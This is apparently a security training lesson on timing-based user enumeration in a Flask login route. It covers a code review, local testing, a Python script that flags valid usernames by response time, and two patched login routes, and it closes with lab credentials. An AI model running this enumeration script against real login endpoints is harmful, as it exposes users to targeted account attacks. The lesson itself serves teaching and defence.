Whitebox Attacks  

User Enumeration via Response Timing


User enumeration is one of the most common timing-based vulnerabilities in web applications. This section will discuss how to identify this vulnerability, how it arises, and how we can prevent it. Keep in mind that the severity of this type of vulnerability depends on the concrete web application we are dealing with. Sometimes, the user registration process might tell us if a username already exists, making a timing-based enumeration obsolete.


Code Review - Identifying the Vulnerability

Our client gave us access to a web application with the following source code:

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(100), unique=True)
    password = db.Column(db.String(60))

    def __init__(self, username, password):
        self.username = username
        self.password = password

<SNIP>

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    
    username = request.form['username']
    user = User.query.filter_by(username=username).first()

    if not user:
        return render_template('index.html', message='Incorrect Details', type='danger')

    pw = request.form['password']
    pw_hash = bcrypt.hashpw(pw.encode(), salt)

    if pw_hash == user.password:
        session['logged_in'] = True
        session['user'] = user.username
        return redirect(url_for('index'))

    return render_template('index.html', message='Incorrect Details', type='danger')

We do not have access to the production user database. Let us analyze the login route and break down the steps performed by the web application during a login attempt:

  1. The database is searched for the user with the provided username
  2. If there is no such user, an Incorrect Details error message is returned
  3. Otherwise, the password is hashed and compared with the hash stored in the database
  4. If the passwords match, the login is successful
  5. Otherwise, the Incorrect Details error message is displayed

Thus, the web application displays the same error message whether the username is valid or invalid. However, there is a timing discrepancy resulting that allows for user enumeration. This discrepancy results from the fact that the password is only hashed if the username is valid. Since the bcrypt hash function used by the web application is computationally expensive, it requires processing time. We can measure this difference in processing time and thus determine whether the username is valid, allowing us to enumerate valid users.


Debugging the Application Locally

In order to run the Python web application locally, we first need to install the dependencies using the package manager pip. The source code contains a requirements.txt file containing all dependencies, which we can install using the following:

[!bash!]$ pip3 install -r requirements.txt

To debug the application in VS Code, we need to install the Python extension. Afterward, we can open the application app.py in VS Code, click Run and Debug, and select the Python: File debugger, which starts the web application. This enables us to access variables at runtime in the Debug Console tab.

Running the application for the first time creates the required SQLite database at instance/user.db with the necessary tables. However, the tables do not contain any data. We can easily verify this by opening the database using sqlite3 and displaying the tables using the command .tables:

[!bash!]$ sqlite3 instance/users.db

SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
user
sqlite> SELECT * from user;

We can display the table schema using the .schema command. We can then insert a dummy user for testing purposes:

sqlite> .schema user
CREATE TABLE user (
	id INTEGER NOT NULL, 
	username VARCHAR(100), 
	password VARCHAR(64), 
	PRIMARY KEY (id), 
	UNIQUE (username)
);
sqlite> INSERT into user (id, username, password) VALUES (1, 'htb-stdnt', 'password');
sqlite> SELECT * from user;
1|htb-stdnt|password

To confirm our vulnerability, let us compare the response time for a valid and an invalid username. We will start with our known valid username, resulting in a response time of 187ms:

image

However, an invalid username results in a response time of only 3ms:

image

This confirms the possibility of time-based user enumeration. Keep in mind that over the public internet, the response timing will naturally be less stable, and fluctuations in the response time are to be expected.


Enumerating Users

To enumerate existing users in the actual web application, we can use this wordlist and write a small script:

import requests

URL = "http://127.0.0.1:5000/login"
WORDLIST = "./xato-net-10-million-usernames-dup.txt"
THRESHOLD_S = 0.15

with open(WORDLIST, 'r') as f:
    for username in f:
        username = username.strip()

        r = requests.post(URL, data={"username": username, "password": "invalid"})

        if r.elapsed.total_seconds() > THRESHOLD_S:
            print(f"Valid Username found: {username}")

This is only a base template for an exploit script. We must adjust the threshold to an appropriate value for the individual web application. Furthermore, the format of the POST body might be different, and we might also need to implement logic to extract CSRF tokens to add to the login request. However, in our simple example web application, the above script suffices. Running it for a while reveals a valid username:

[!bash!]$ python3 solver.py

Valid Username found: egbert

Time-based user enumeration vulnerabilities can arise whenever the web application executes specific actions only for valid users and returns early for invalid users. This results in a measurable difference in the response timing, which can be used to detect whether the provided username was valid. Thus, we should analyze all functions that act based on a username we provide, not just the login process.

However, username enumeration exploits typically require many requests, and web application endpoints that are typically vulnerable to such attacks, such as login, registration, or password reset endpoints, are often protected by rate-limiting. With proper rate-limiting in place, time-based enumeration of users becomes much more challenging and time-consuming.


Prevention & Patching

General prevention of timing-based vulnerabilities is difficult and depends on each web application's security issue(s). In our sample case, it suffices to do the database lookup based on username and password combined and only distinguish whether it was successful. The relevant code would then look like this:

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    
    username = request.form['username']
    pw = request.form['password']
    pw_hash = bcrypt.hashpw(pw.encode(), salt)
    user = User.query.filter_by(username=username, password=pw_hash).first()

    if user:
        session['logged_in'] = True
        session['user'] = user.username
        return redirect(url_for('index'))

    return render_template('index.html', message="Incorrect Details", type="danger")

Instead of querying the database only for the username, we do a combined lookup based on the username and the password hash.

However, in some instances, this is impossible. Consider a setting where the web application stores an individual password salt for each user. In that case, we can only compute the password hash after doing the database lookup based on the username. In these cases, we can eliminate the timing difference caused by the hashing of the password for valid users by hashing a dummy value if the username is invalid. In that case, the code would look similar to this:

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    
    username = request.form['username']
    user = User.query.filter_by(username=username).first()

    if not user:
	    pw_hash = bcrypt.hashpw(b'dummyvalue', salt)
        return render_template('index.html', message='Incorrect Details', type='danger')

    pw = request.form['password']
    pw_hash = bcrypt.hashpw(pw.encode(), salt)

    if pw_hash == user.password:
        session['logged_in'] = True
        session['user'] = user.username
        return redirect(url_for('index'))

    return render_template('index.html', message='Incorrect Details', type='danger')

Note that the web application hashes the value dummyvalue when the username is invalid. Thus, the bcrypt hash function is called whether the user is valid or invalid, resulting in no noticeable timing difference. However, this approach creates load on the server even for invalid usernames. Therefore, it is vital to implement proper rate-limiting on the login endpoint to eliminate the possibility of server overload and, subsequently, denial-of-service (DoS).

/ 1 spawns left

Waiting to start...

Questions

Answer the question(s) below to complete this Section and earn cubes!

Click here to spawn the target system!

Target: Click here to spawn the target system!

Authenticate to with user "htb-stdnt" and password "Academy_student!"

+10 Streak pts

Previous

+10 Streak pts

Next